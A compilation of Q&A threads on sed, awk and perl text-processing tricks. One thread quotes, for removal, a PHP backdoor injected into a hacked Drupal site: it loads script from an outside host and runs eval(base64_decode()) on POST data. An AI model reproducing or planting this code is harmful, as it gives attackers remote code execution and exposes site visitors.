Remove Tabs Within Remark - sed

i would like to remove the tabs within the comments, such as this sample;
<?php
//this is a comment with tab
$tes = 1;
$this->HTTP_URL = str_replace('///', '//', $this->http.$this->serverName.$this->port.$_SERVER['PHP_SELF']);
if ($tes == 1) {
//this is a comment with tab
echo $tes;
}
//this is a comment with tab
$tes = 2;
I've tested it with;
sed -e 's|/*.*/||g' -e 's|//.||g' test.php > test2.php
But the result is;
this is a comment with tab
$tes = 1;
', $this->http.$this->serverName.$this->port.$_SERVER['PHP_SELF']);
if ($tes == 1) {
this is a comment with tab
echo $tes;
}
this is a comment with tab
$tes = 2;
I want it to look like;
//this is a comment with tab
$tes = 1;
$this->HTTP_URL = str_replace('///', '//', $this->http.$this->serverName.$this->port.$_SERVER['PHP_SELF']);
if ($tes == 1) {
//this is a comment with tab
echo $tes;
}
//this is a comment with tab
$tes = 2;
or even better with
/* this is a comment with tab */
$tes = 1;
$this->HTTP_URL = str_replace('///', '//', $this->http.$this->serverName.$this->port.$_SERVER['PHP_SELF']);
if ($tes == 1) {
/* this is a comment with tab */
echo $tes;
}
/* this is a comment with tab */
$tes = 2;
I've tried various way, yet still have not come to the result i wanted.
Thank you.
....
i've tried with
gsed -i 's|^\s*//|//|' test.php
and then
gsed -i ':a;$!{N;ba};s/^/\x00/;tb;:b;s/\x00$//;t;s/\x00\(\/\*[^*]*\*\+\([^/*][^*]*\*\+\)*\/\)/\1\x00/;tb;s/\x00\/\/\([^\n]*\)/\/*\1\*\/\x00/;tb;s/\x00\(.\)/\1\x00/;tb' test.php
but the result is
<?php
/*this is a comment with tab*/
$tes = 1;
$this->HTTP_URL = str_replace('/*/', '//', $this->http.$this->serverName.$this->port.$_SERVER['PHP_SELF']);*/
if ($tes == 1) {
/*this is a comment with tab*/
echo $tes;
}
/*this is a comment with tab*/
$tes = 2;
notice the error line 4
$this->HTTP_URL = str_replace('/*/', '//', $this->http.$this->serverName.$this->port.$_SERVER['PHP_SELF']);*/
it should not be replaced. need another syntax

This might work for you (GNU sed):
sed -i 's|^\s*//|//|' file
This removes zero or more spaces or tabs (white space) from the start of lines whose first two non-white space characters are //.
If it is only tabs you want removed:
sed -i s|^\t*//|//|' file
N.B. This may substitute nothing for nothing i.e. a line beginning with // will still effect a substitution so the last solution should be:
sed -i 's|^\t\+//|//|' file
EDIT:
sed -i 's|^\t\+//\(.*\)$|/*\1*/' file
Or change // regardless:
sed -i 's|^\t\+//|//|;s|//\(.*\)|/*\1*/|' file

sed '/^[[:space:]]*\/\//{s/^[[:space:]]*//}' yourfile.php
should do it. If you wish to do an infile edit, do
sed -i~ '/^[[:space:]]*\/\//{s/^[[:space:]]*//}' yourfile.php
A backup of the original file starting with ~ will be created.

Related

Remove all occurence of ';' in C++ comments with SED

I'm new to sed and I can't manage to use it to remove all ';' characters in comments of C++ files, ie lines starting or containing the string "//" (I already convert "/* ... */" comments to "// ..." comments).
For example :
// lorem; ipsum ; test
int a; // 1 ; 2 ; 3 ;
And I want to have :
// lorem ipsum test
int a; // 1 2 3
For any comment in my C++ files.
********* EDIT *********
Here is a solution with SED in two steps. A solution with AWK is also available in answers.
Put all comments on a new line : sed 's/\/\//\n\/\//g'
Remove ';' only on lines starting by "//" : sed '/^\/\// s/;//g'
It is straightforward in AWK. Create a file r.awk:
function process(s) {
gsub(";", "", s)
return s
}
{
sep = "//"; ns=length(sep)
m = match($0, sep)
if (!m) {print; next}
body = substr($0, 1, m-1)
cmnt = substr($0, m+ns )
print body sep process(cmnt)
}
Usage:
awk -f r.awk input.file

Line after match of two files

I have a similar problem like last time.
This time i have a header file looking like:
>random header 2
>random header name1
and my basefile
>random header name1
wonderfulstringwhatsoevergoeson
>random header 2
someotherline
now the aim is, to have the following output:
someotherline
wonderfulstringwhatsoevergoeson
So i want the line after the match from the basefile. (and only this one, not the header)
Important with this, it shall keep the order of header.
Sort won't work, since it will keep alphabetic order and this just shouldn't happen.
I couldn't figure out, how grep could compare two files and just gives the line after match :/
This will do the job for you:
awk 'FNR==NR
{
a[$0]=FNR;i=FNR;next
}
($0 in a)
{
t=$0;
getline;b[a[t]]=$0
}
END
{
for(k=1;k<=i;k++)print b[k]
}' head base
This should do it:
awk '
{ recs[NR] = $0 } # store the header lines in 1->(NR-FNR) and the basefile lines in ((NR-FNR)+1)->NR
END {
for (hdrNr=1; hdrNr<=(NR-FNR); hdrNr++) {
hdr = recs[hdrNr]
for (lineNr=(NR-FNR)+1; lineNr<=NR; lineNr++) {
line = recs[lineNr]
if (line == hdr) {
print recs[lineNr+1]
}
}
}
}
' header basefile
Following up on #Vijays idea of just storing the matching lines in an array indexed by the order the headers are read in, here's how you'd do that without getline, without unnecessary variables, with meaningful variable names, and without printing blank lines for every unmatched header:
awk '
NR==FNR { hdr2nr[$0] = FNR; next }
hdrNr { hdrNr2line[hdrNr] = $0 }
{ hdrNr = hdr2nr[$0] }
END {
for(hdrNr=1; hdrNr<=(NR-FNR); hdrNr++)
if (hdrNr in hdrNr2line)
print hdrNr2line[hdrNr]
}
' header basefile
That assumes a given header can only appear once in basefile.
Reads basefile into %h hash, and later follows key order specified in header file,
perl -ne 'BEGIN{ open $F,pop or die $!; %h=<$F> } print $h{$_}' header basefile
Try this bash one-liner:
while read line; do match=$(sed -n "/$line/{ n;p}" basefile); echo $match; done < 'header'
This will work, when your basefile always have one line definition for corresponding header.
header:
sat:~# cat header
>random header 2
>random header name1
basefile:
sat:~# cat basefile
>random header name1
wonderfulstringwhatsoevergoeson
>random header 2
someotherline
Output:
sat:~# while read line; do match=$(sed -n "/$line/{ n;p}" basefile);echo $match; done < 'header'
someotherline
wonderfulstringwhatsoevergoeson
This might work for you (GNU sed):
sed -r 'N;s/^(.*)\n(.*)/s|^\1$|\2|/' base_file | sed -f - header_file
Turn the base_file into a sed script and run it against the header_file.

sed, replace first line

I got hacked by running a really outdated Drupal installation (shame on me)
It seems they injected the following in every .php file;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!#$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!#headers_sent()) {
#setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
Can I remove and replace this with sed? e.g.:
find . -name *.php | xargs ...
I hope to have the site working just for the time being to use wget and made a static copy.
You can use sed with something like
sed '1 s/^.*$/<?php/'
The 1 part only replaces the first line. Then, thanks to the s command, it replaces the whole line by <?php.
To modify your files in-place, use the -i option of GNU sed.
To replace the first line of a file, you can use the c (for "change") command of sed:
sed '1c<?php'
which translates to: "on line 1, replace the pattern space with <?php".
For this particular problem, however, something like this would probably work:
sed '1,/^$/c<?php'
which reads: change the range "line 1 to the first empty line" to <?php, thus replacing all injected code.
(The second part of the address (the regular expression /^$/) should be replaced with an expression that would actually delimit the injected code, if it is not an empty line.)
# replace only first line
printf 'a\na\na\n' | sed '1 s/a/b/'
printf 'a\na\na\n' | perl -pe '$. <= 1 && s/a/b/'
result:
b
a
a
perl is needed for more complex regex,
for example regex lookaround (lookahead, lookbehind)
sample use:
patch shebang lines in script files to use /usr/bin/env
shebang line is the first line: #!/bin/bash etc
find . -type f -exec perl -p -i -e \
'$. <= 1 && s,^#!\s*(/usr)?/bin/(?!env)(.+)$,#!/usr/bin/env \2,' '{}' \;
this will replace #! /usr/bin/python3 with #!/usr/bin/env python3
to make the script more portable (nixos linux, ...)
the (?!env) (negative lookahead) prevents double-replacing
its not perfect, since #!/bin/env foo is not replaced with #!/usr/bin/env foo ...

Use sed/grep/awk to delete everything up until the first blank line

Can anyone help me figure out how to do this, it would be much appreciated.
example
block of //delete
non-important text //delete
important text //keep
more important text //keep
sed '1,/^$/d' file
or
awk '!$0{f=1;next}f{print}' file
Output
$ sed '1,/^$/d' <<< $'block of\nnon-important text\n\nimportant text\nmore important text'
important text
more important text
$ awk '!$0{f=1;next}f{print}' <<< $'block of\nnon-important text\n\nimportant text\nmore important text'
important text
more important text
If the blank line is empty, this'll do it:
sed '1,/^$/d' filename
with awk:
awk "BEGIN { x = 0 } /^$/ { x = 1} { if (x == 2) { print } ; if (x == 1) { x = 2 } }" filename
Another option with grep (working on lines)
grep -v PATTERN filename > newfilename
For example:
filename has the following lines:
this is not implicated but important text
this is not important text
this is important text he says
not important text he says
not this it is more important text
A filter of:
grep -v "not imp" filename > newfilename
would create newfilename with the following 3 lines:
this is not implicated but important text
this is important text he says
not this it is more important text
You would have to choose a PATTERN that would uniquely identify the lines you are trying to remove. If you use a PATTERN of "important text", it would match all of the lines while "not imp" only matches the lines that have the words "not imp" in them. Use egrep (or grep -E) for regexp filters if you want more flexibility in pattern matching.

awk join multiple lines

I want to join lines between opening tag and closing tag with class named "content_subhd",
For example:
<span class="content_subhd">1
2
3 </span>
<span class="xyz">1
2
3</span>
Output should be:
<span class="content_subhd">123</span>
<span class="xyz">1
2
3
</span>
How can this be achieve, any suggestion?
awk '/<span class="content_subhd">/, /<\/span>/ {
r = r ? r $0 : $0
if (/<\/span>/) {
print r; r = x
}
next
}1' infile
If you want to replace the content of your existing file:
awk > _new_ '/<span class="content_subhd">/, /<\/span>/ {
r = r ? r $0 : $0
if (/<\/span>/) {
print r; r = x
}
next
}1' your_file &&
mv -- _new_ your_file
Added solution for mass replacement (as per OP request):
find <your arguments here> |
while IFS= read -r; do
awk > _new_ '/<span class="content_subhd">/, /<\/span>/ {
r = r ? r $0 : $0
if (/<\/span>/) {
print r; r = x
}
next
}1' "$REPLY" &&
mv -- _new_ "$REPLY"
done
As sed is tagged in this question, here is a one liner:
sed '/<span class="content_subhd">/,/<\/span>/{H;/<\/span>/{s/.*//;x;s/\n//g;p;};d}' source
All lines are passed through except in the special "span class" case. These lines are hived off to the hold space, newlines are removed and then what would have been a multi-line is printed instead.